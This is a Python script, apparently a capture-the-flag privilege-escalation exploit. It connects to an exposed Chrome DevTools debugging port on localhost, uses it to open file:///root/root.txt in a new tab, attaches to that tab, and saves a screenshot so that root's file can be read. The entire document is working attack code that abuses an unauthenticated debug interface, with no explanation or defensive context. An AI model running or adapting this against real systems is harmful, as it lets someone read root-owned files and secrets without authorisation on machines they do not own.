import websocket
import json
import requests
import base64

r = requests.get('http://localhost:37513/json')
tabs = r.json()

websocket_debugger_url = tabs[0]['webSocketDebuggerUrl'].replace('127.0.0.1', 'localhost')
print(f'websocket debugger url: {websocket_debugger_url}')

# connecting to websocket server
ws = websocket.create_connection(websocket_debugger_url, suppress_origin=True)
command = {
    'id': 5,
    'method': 'Target.createTarget',
    'params': {
        'url': 'file:///root/root.txt'
    }

}

ws.send(json.dumps(command))
result = json.loads(ws.recv())
target_id = result['result']['targetId']
print(f'target_id: {target_id}')

command = {
    'id': 5,
    'method': 'Target.attachToTarget',
    'params': {
        'targetId': target_id,
        'flatten': True
    }
}

ws.send(json.dumps(command))
result = json.loads(ws.recv())
session_id = result['params']['sessionId']
print(f'session_id: {session_id}')

command = {
    'id': 5,
    'sessionId': session_id,
    'method': 'Page.captureScreenshot',
    'params': {
        'sessionId': session_id,
        'format': 'png'
    }
}

ws.send(json.dumps(command))
result = json.loads(ws.recv())
ws.send(json.dumps(command))
result = json.loads(ws.recv())
if 'result' in result and 'data' in result['result']:
    with open('screenshot.png', 'wb') as f:
        f.write(base64.b64decode(result['result']['data']))
    print('screenshot saved as screenshot.png')
